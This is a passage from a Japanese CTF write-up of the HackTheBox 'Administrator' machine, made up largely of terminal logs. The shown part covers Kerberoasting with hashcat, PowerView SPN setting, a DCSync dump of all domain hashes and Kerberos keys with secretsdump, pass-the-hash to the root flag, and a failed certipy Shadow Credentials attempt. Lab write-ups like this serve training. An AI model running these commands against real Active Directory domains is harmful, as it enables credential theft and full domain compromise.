Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (813 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$4c517f6a5100fc2e0359c21c0ddd9cb4$cf04db73c3a27d0ecad06bc36bfb173d5c875acc2f7f9abdfdfe288243db6d8626244d6b39a49e1e0163c7702e4999c25169e53f991e240b3f375eafdd14c5987dfe293b5427764be20ca498b7b4314df72609dffbab1e63a4fe1b658acfcd8171ddee03e084724a7e53fca5b05752ca0956c3c45a0582ea2ef315580ded147bcb4e589067ad21350f02345608d38938a78aba4eda36ba73095e5669437752d510420d2d368c7bd885000d7ca1fc34c44c89694399d38b58b014c173b4f77432ba8091792d5d561cda6aff56bb5d27d1621aa0eb121ef8d5694e9a9b2564c4a63ce913eccca717994214b1be8ca1a74990dd02f1e90e286f3bbc64050304ec9f23be7a766ff979ac10a46e90cc720376b7f350eef1728ea953275cc0fd0547c1290f0bd65f5a9efeb8dda44d4da19662fc1c038a2ac232ccc5356cc2e56acf28f6b428ec26bb0a344d0907d90d339c36c6b7aeee3b0ac78a08feb7880d043fabad94c543a61b95e4efb0329abde6caa0b49515f0d7851e5c1579eb4a60c6a2af6f3cada3714cda858a2eb86aafd3fd0cc203f89ef8d91e3fba1a67fd489e042424c2f0244880084a203a81621f79a048b9e115b36765b13e791e52a17863618e2a99e4215b54f3d8fd700e6da77322ddfae61adcf7cfa99c6a90c833c8cfe839760517bc728a8c38a6c7954db113053e07ff393723c7f4a157b9c8d5475bfe9813c8a2593f54bf59bc2db0d7ec4b84afe5c8184b9d8aaca0dd944fce6d80056b9c17d6b96dc12cffbdba68b00fe22e7365a76df29e5ab03d29c933a34e7ff2d0329b1eb3ee0ac1d0993c33b2b4c1b6e730e91b77de5c9dc7ec2197a3143357c82c914eac00bacc1e8cc866556ae5618485265afb3708d4663ab9507465792e95cae9c7c5c1c751eb57b586f01989340ea1c16c4a788e219b6075ccd8a051ef99dd396f33e269ec3ce96b33be2a50590f938b74ec9a21431f4a7f5fb1f20970bc7c4ae727c42a27037aec48fa0717192ab1c8c2956168138981849876ce166f737e688db8aaad085cf0d3275c070d4ee80a685cb5f7dd7d1d97e5847a0594ba4b2534920f51e600720f8c354b7e0bc999a22cadccfb6064432c76de05e075d03161676bab8f44ae7b0115caa3e3678ef13b02189f668b1a7a7b9a7df67d061e4b46273faead566bd65542f127a38e2fefe3c4ec063245682cbe8c67028a6cabd3d6af890ebdc6cd5e3e5b142bf417e6943f697e6d8d9b8e722fb7dd58b6ffba8b07f3d574a1145068aa65791c90e67f4236c5b6c399f27e018d37a2ab7de8caa3954ff329ed74a8563ff5acda1829cdbbac0b1b5ac6546eedd1b58a3cd54cb99c53d388afe81dc0fad96ce6662873a9f2efc5beba4f08e638b28fc157e8f171a15d37c030af2ec52216711019733e7f25819b4b51eba72b81ede1b43e330a906dbd5121c59eca0b3b6a2a008a22e1c50021770a596bd3fde1ae0cf9c24ef7998bb63f63ad8285891995163d68075c41125e737f3e77b627b39c2b03508b9bfa:limpbizkit
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....8b9bfa
Time.Started.....: Sun Jul 26 05:55:51 2026 (0 secs)
Time.Estimated...: Sun Jul 26 05:55:51 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1439.8 kH/s (1.41ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: newzealand -> iheartyou
Hardware.Mon.#01.: Util: 58%
Started: Sun Jul 26 05:55:51 2026
Stopped: Sun Jul 26 05:55:53 2026
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
Ethanのパスワードが limpbizkit と判明した。
ethan
limpbizkit
PowerViewを使う別パターン¶
*Evil-WinRM* PS C:\Users\emily\Documents> upload PowerView.ps1
Info: Uploading /home/kali/htb/Administrator/10.129.17.11/PowerView.ps1 to C:\Users\emily\Documents\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\emily\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\emily\Documents> Set-DomainObject -Identity 'ethan' -Set @{serviceprincipalname='nonexistent/OSCP'}
*Evil-WinRM* PS C:\Users\emily\Documents>
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ wget -O PowerView.ps1 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
--2026-07-26 05:18:42-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: ‘PowerView.ps1’
PowerView.ps1 100%[==============================================================================>] 752.23K --.-KB/s in 0.04s
2026-07-26 05:18:42 (20.7 MB/s) - ‘PowerView.ps1’ saved [770279/770279]
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ impacket-GetUserSPNs administrator.htb/emily:'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
-dc-ip 10.129.17.11 \
-request-user ethan \
-outputfile ethan2.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ----- -------- -------------------------- --------- ----------
nonexistent/OSCP ethan 2024-10-13 05:52:14.117811 <never>
[-] CCache file is not found. Skipping...
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ hashcat -m 13100 ethan2.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1467/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (807 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$2d9ebb46ac27d1d5c772772c36ed1cb6$6b84b6718606fa91f38e30a17855c920fee72937beac3586c863c4789d4592c6bf5523cb82ede821185f6d3963bb70dbc9b80c4c0552db5d23e2c5587662efca6f12cb68b6129564ed2e8bf682913e4b2b2ff52fed4693668c976b0b5a6d133eb100e305acb418d65f09121a0e9e92aab8b1ac617f0b34f80ac5df60097a11e8baf50c4d625a133ed4914f1c0a4e5c5f8ba49ad740baa39566140b90266b0abbb573aa52e433774802131c856e63c7917fb3e8f0b22846269e109214c7cdeba6f051d7279c1c414a4c5375414aea5a5bc105b8e96a80ac64ca62788321bdce483033ee76584996878b0b4618a0abd49ae42a1a4727bec8f9d596da4e3c09ce07f19bc9430ca50b0e5ca393a32feadef198d1906894a052eefb0d272622bf25fe28ae94c26f9e0ba01e7a6de4254848f4b1cf6e1d1f75ed5c412ba82f64073db89fb8207ee65aa599dd33e9f27938803dc1ba85b3e4cc984af66f4a7a1fa8e2e00d64c5181dd7a41b6c7fd1dc248e544e616553c5276f167835ff355a3c83b6ee3a3f5bf4d40a96275187086a175b4080e164f7c5adff35e710f8e7a42c7afae44e129ef7eba8034a7ae23cd060db044035c5a3106b79d6a3bd9f87a37552633f694a7b00d3deede375378cd4e8bb5e447567395a94ef06673e2e029362f0629ce148873dbd86a738a1765726787afc327e3ff880d96e36c2aeb5533e6644c05249333507e4d77ce6df71996bba53e634b9795d72c0315985c50920c5d37e0da144425aba0dc81662ebce405089d13e1fce8a63d30c4cc5ca15e395d190a0e97c2e0d876dbe134083ccd2eeb5721061af6df2f5e6024d81ffc79c40b8980ab749744cfb35023030edee8bf5ca55eb46038643c7617328c60952196c98a2b7414039994fb60e0f85b3341435c26a5e6affd32ef4a3a58f110ac729c540c962e407c577a362aec6244c1fd41183d1d542680fc495a8f254469f48552a352a5063123960d742811a965451312a7c5e54273a5116d0f356ca18ee8c5545fe99f7438075275b4eea51ea5112501a56423bdfa78a5503b871134e5996848d779a4e3069019d2a46c74a3a5e0fa10101cc41e5cd246de59e975e88a48cb17e0584a67c0782eb28d89651d3e6a287f8331559aad30296ee714364034cd5ba6a90680546d094b9f04934d170e11584b344f891522d52a83de0fc84ca4d6f1fa087851682086a59481bba6028ef51cdf412f5a21cf6568cc54ba87321495a6b336c2bb05d9ebc3f2f5f706c4b3776eddfd885c812b061a85a3da991948a17cc8815854b498269094dba0bce6fac83dcc71a67d9a628e13f1a5f27ba0d100b88dfc4da0dc0a61b3b1429f0a620df2259c8eb70cad352e8289eb4db1ef57519ce208253181d99b7fadc454c837fe2abf4fb400b1a1a187c21c7fa7efa33c6a06004b28d63609cf05f6a4b5535fdd336e223ad686a9817c34bbb660710072fb589b835f7b74445ca695d7ff410d92cb97f2ecbaf6944c3537d24c18673ab80afbd9236477dfc:limpbizkit
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....477dfc
Time.Started.....: Sun Jul 26 05:55:42 2026 (0 secs)
Time.Estimated...: Sun Jul 26 05:55:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 983.4 kH/s (1.05ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: newzealand -> iheartyou
Hardware.Mon.#01.: Util: 58%
Started: Sun Jul 26 05:55:41 2026
Stopped: Sun Jul 26 05:55:44 2026
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
22. Ethanの資格情報確認¶
EthanはSMB認証は通るが、WinRMやSMB経由のシェル取得はできない。ここで止まらず、BloodHoundでEthanの権限を見る。
ethan
limpbizkit
for p in smb rdp winrm; do nxc $p 10.129.17.11 -u ethan -p "limpbizkit"; done
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ for p in smb rdp winrm; do nxc $p 10.129.17.11 -u ethan -p "limpbizkit"; done
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\ethan:limpbizkit
WINRM 10.129.17.11 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:limpbizkit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
ethan limpbizkit ⇒winrmできない。
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$ impacket-psexec "ethan:limpbizkit@10.129.17.11"
sh: 0: getcwd() failed: No such file or directory
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.17.11.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'SYSVOL' is not writable.
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$ impacket-smbexec "ethan:limpbizkit@10.129.17.11"
sh: 0: getcwd() failed: No such file or directory
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$ impacket-wmiexec "ethan:limpbizkit@10.129.17.11"
sh: 0: getcwd() failed: No such file or directory
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[-] rpc_s_access_denied
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$
⇒SMB経由でもshellとれない。
23. BloodHoundでEthanのDCSync権限を確認¶
EthanでBloodHoundを取り直すと、ドメインオブジェクトへの GetChanges / GetChangesAll が見える。これはDCSyncに直結する重要な権限。
bloodhound
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$ nxc ldap 10.129.12.82 -d administrator.htb -u ethan -p 'limpbizkit' --bloodhound --collection All --dns-server 10.129.12.82
LDAP 10.129.12.82 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.12.82 389 DC [+] administrator.htb\ethan:limpbizkit
LDAP 10.129.12.82 389 DC Resolved collection methods: session, localadmin, objectprops, acl, dcom, container, trusts, group, psremote, rdp
LDAP 10.129.12.82 389 DC Done in 00M 16S
LDAP 10.129.12.82 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.129.12.82_2026-07-26_061730_bloodhound.zip
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$ mv -v /home/kali/.nxc/logs/DC_10.129.12.82_2026-07-26_061730_bloodhound.zip .
copied '/home/kali/.nxc/logs/DC_10.129.12.82_2026-07-26_061730_bloodhound.zip' -> './DC_10.129.12.82_2026-07-26_061730_bloodhound.zip'
removed '/home/kali/.nxc/logs/DC_10.129.12.82_2026-07-26_061730_bloodhound.zip'
┌──(kali@kali)-[~/htb/Administrator/10.129.12.82]
└─$
Outbound Object Control → administrator.htb ドメインオブジェクトへの GetChanges / GetChangesAll
ETHAN@ADMINISTRATOR.HTB
├─ GetChanges ───────────────→ ADMINISTRATOR.HTB
└─ GetChangesAll ────────────→ ADMINISTRATOR.HTB
※（スクショ: スクリーンショット 2026-07-25 23.29.03.png / EthanのOutbound Object Control） ※（スクショ: スクリーンショット 2026-07-31 17.39.12.png / Ethan→Domain Admins に直接パスがない確認） ※（スクショ: スクリーンショット 2026-07-31 17.41.43.png / Ethan→administrator.htb のGetChanges/GetChangesAll） ※（スクショ: スクリーンショット 2026-07-31 17.43.38.png / GetChangesの説明パネル） ※（スクショ: スクリーンショット 2026-07-31 17.43.49.png / GetChangesAllの説明パネル）
24. DCSyncでAdministrator hashを取得¶
DCSync は、ドメインコントローラ同士のレプリケーション機能を悪用して、NTDS内のパスワード hash などをネットワーク経由で取得する攻撃。LSASSを直接dumpしたり、ntds.dit をファイルとしてコピーしたりするのではなく、「自分は複製を受け取れるアカウントです」という権限で DC に secrets を要求する。
そのため重要なのは、Domain Admin という名前のグループに入っているかではなく、ドメインオブジェクトに対して GetChanges / GetChangesAll のようなレプリケーション権限を持っているか。今回は Ethan にその権限があるため、Ethan の資格情報で Administrator の hash を抜ける。
impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.17.11 -dc-ip 10.129.17.11
DCSyncは管理者権限がないとできないのではなかったか？
普通は Domain Admin などの高権限が DCSync できます。
でも厳密には、DCSync に必要なのは「管理者権限」そのものではなく、ドメインオブジェクト上のレプリケーション権限です。
必要なのは主にこれです。
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
⇒これがレプリケーション権限らしい・・・
詳細は以下らしいが、bloodhoundでは省略されている
DS-Replication-Get-Changes
→ 通常のディレクトリ変更情報を取得する権限
DS-Replication-Get-Changes-All
→ 秘密情報を含む属性も取得できる権限
例: password hash, Kerberos key など
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.17.11 -dc-ip 10.129.17.11
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8864a202387fccd97844b924072e1467:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:95687598bfb05cd32eaa2831e0ae6850:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:b360c36cb6777b8cc3d88ab1aa60f0064e6ea4fc9b9a4ebacf66345118c0e959
administrator.htb\michael:aes128-cts-hmac-sha1-96:bc3c8269d1a4a82dc55563519f16de8b
administrator.htb\michael:des-cbc-md5:43c2bc231598012a
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:a0bbafbc6a28ed32269e6a2cc2a0ccb35ac3d7314633815768f0518ebae6847f
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:426ca56d39fe628d47066fc3448b645e
administrator.htb\benjamin:des-cbc-md5:b6f84a864376a4ad
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
25. Administrator hashでroot flag取得¶
DCSyncで得たAdministratorのNTLM hashをPass-the-Hashで使う。
Administrator
3dc553ce4b9fd20bd016e098d2d2fd2e
flag検索
cmd /c "dir C:\Users\root.txt /s /b"
cmd /c "dir C:\root.txt /s /b"
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig; hostname; whoami; cat C:\Users\Administrator\Desktop\root.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.17.11
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
dc
administrator\administrator
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\Administrator\Documents>
26. 別解メモ: GenericWrite / Shadow Credentials¶
GenericWriteがあるためShadow Credentialsも検討したが、この環境では最終的に成功しなかった。試行ログとして残す。
別解
GenericWrite Shadow Credentials
certipy shadow auto -u '<USER>@<DOMAIN_FQDN>' -p '<PASS>' -account '<TARGET_USER>' -dc-ip <DC>
certipy shadow add -u '<USER>@<DOMAIN_FQDN>' -p '<PASS>' -account '<TARGET_USER>' -dc-ip <DC> -out '<TARGET_USER>'
certipy auth -pfx '<TARGET_USER>.pfx' -dc-ip <DC>
sudo apt install python3-certipy
certipy shadow auto -u 'emily@administrator.htb' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -account 'ethan' -dc-ip 10.129.17.11
certipy shadow add -u 'emily@administrator.htb' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -account 'ethan' -dc-ip 10.129.17.11 -out 'ethan'
certipy auth -pfx 'ethan.pfx' -dc-ip 10.129.17.11
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ which certipy-ad
/usr/bin/certipy-ad
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ certipy-ad -h
Certipy v5.0.2 - by Oliver Lyak (ly4k)
usage: certipy-ad [-v] [-h] [-debug] {account,auth,ca,cert,find,parse,forge,relay,req,shadow,template} ...
Active Directory Certificate Services enumeration and abuse
positional arguments:
{account,auth,ca,cert,find,parse,forge,relay,req,shadow,template}
Action
account Manage user and machine accounts
auth Authenticate using certificates
ca Manage CA and certificates
cert Manage certificates and private keys
find Enumerate AD CS
parse Offline enumerate AD CS based on registry data
forge Create Golden Certificates or self-signed certificates
relay NTLM Relay to AD CS HTTP Endpoints
req Request certificates
shadow Abuse Shadow Credentials for account takeover
template Manage certificate templates
options:
-v, --version Show Certipy's version number and exit
-h, --help Show this help message and exit
-debug, --debug Enable debug output
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ dpkg -l | grep certipy
ii certipy-ad 5.0.2-0kali1 all Tool for attacking AD Certificate Services
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11/ftp_download]
└─$ certipy-ad shadow auto -u 'emily@administrator.htb' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -account 'ethan' -dc-ip 10.129.17.11
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[-] Got error: socket ssl wrapping error: [Errno 104] Connection reset by peer
[-] Use -debug to print a stacktrace
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11/ftp_download]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ certipy-ad -debug shadow auto \
-u 'emily@administrator.htb' \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
-account 'ethan' \
-dc-ip 10.129.17.11 \
-dc-host DC.administrator.htb \
-target administrator.htb \
-ldap-scheme ldap
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[+] Nameserver: '10.129.17.11'
[+] DC IP: '10.129.17.11'
[+] DC Host: 'DC.administrator.htb'
[+] Target IP: None
[+] Remote Name: 'administrator.htb'
[+] Domain: 'ADMINISTRATOR.HTB'
[+] Username: 'EMILY'
[+] Trying to resolve 'administrator.htb' at '10.129.17.11'
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: True (LDAP signing: True, SSL: False)
[+] Using channel binding signing: False (LDAP channel binding: True, SSL: False)
[+] LDAP NTLM authentication successful
[+] Bound to ldap://10.129.17.11:389 - cleartext
[+] Default path: DC=administrator,DC=htb
[+] Configuration path: CN=Configuration,DC=administrator,DC=htb
[*] Targeting user 'ethan'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '8022d16c-d591-c241-a286-5c8819d6c295'
<KeyCredential structure at 0xffffa6e41950>
| Owner: CN=Ethan Hunt,CN=Users,DC=administrator,DC=htb
| Version: 0x200
| KeyID: SAHj/A8qTSUKcHWcJVsOmVwA+SrvrsSVmxJWznm1mBU=
| KeyHash: de35676c90f0689787d7d6adf0d5b71153d19e535534e47d0472a6e19fa5885f
| RawKeyMaterial: <dsinternals.common.cryptography.RSAKeyMaterial.RSAKeyMaterial object at 0xffffa6e416d0>
| | Exponent (E): 65537
| | Modulus (N): 0x8c6afc6b1b6b3a4f2ff0148181b052e472a863b0f4a12c6a6c03dbd2d0ffc3afa13efc0d841d5cbe66a4a410dfe38cf9098c88680448b68fea7c25d3567745d2e6e39fd61e4a61799b082db197b2eff26348a722aa179e0a65323fbb8e96daa49702442f211b86a99fd99ce96c8b38edde2070f1f68a266296abc147e3f02f27a6f633d9225e003b0a6e1731041e8e72d38ae9df4081da3c7a8444bb535da69ef4a6e2e009e0c3a411acfc6753a9b732f1a5e6816aa3b79f7fb538f393dd889750c8480712fce457b7bbfed79012d25206c998b85fce66b4e97922233ea828d03b74e519c0298594041bfe37ef5ee2cb03fdbfb6f3c5ab45849400c887b08aeb
| | Prime1 (P): 0x0
| | Prime2 (Q): 0x0
| Usage: KeyUsage.NGC
| LegacyUsage: None
| Source: KeySource.AD
| DeviceId: 8022d16c-d591-c241-a286-5c8819d6c295
| CustomKeyInfo: <CustomKeyInformation at 0xffffa6af9270>
| | Version: 1
| | Flags: KeyFlags.NONE
| | VolumeType: None
| | SupportsNotification: None
| | FekKeyVersion: None
| | Strength: None
| | Reserved: None
| | EncodedExtendedCKI: None
| LastLogonTime (UTC): 2026-08-02 06:38:43.084608
| CreationTime (UTC): 2026-08-02 06:38:43.084608
[*] Adding Key Credential with device ID '8022d16c-d591-c241-a286-5c8819d6c295' to the Key Credentials for 'ethan'
[*] Successfully added Key Credential with device ID '8022d16c-d591-c241-a286-5c8819d6c295' to the Key Credentials for 'ethan'
[*] Authenticating as 'ethan' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ethan@administrator.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC administrator.htb (10.129.17.11)
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 596, in kerberos_authentication
tgt = sendReceive(as_req, domain, self.target.target_ip)
File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] See the wiki for more information
[*] Restoring the old Key Credentials for 'ethan'
[*] Successfully restored the old Key Credentials for 'ethan'
[*] NT hash for 'ethan': None
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ certipy-ad find \
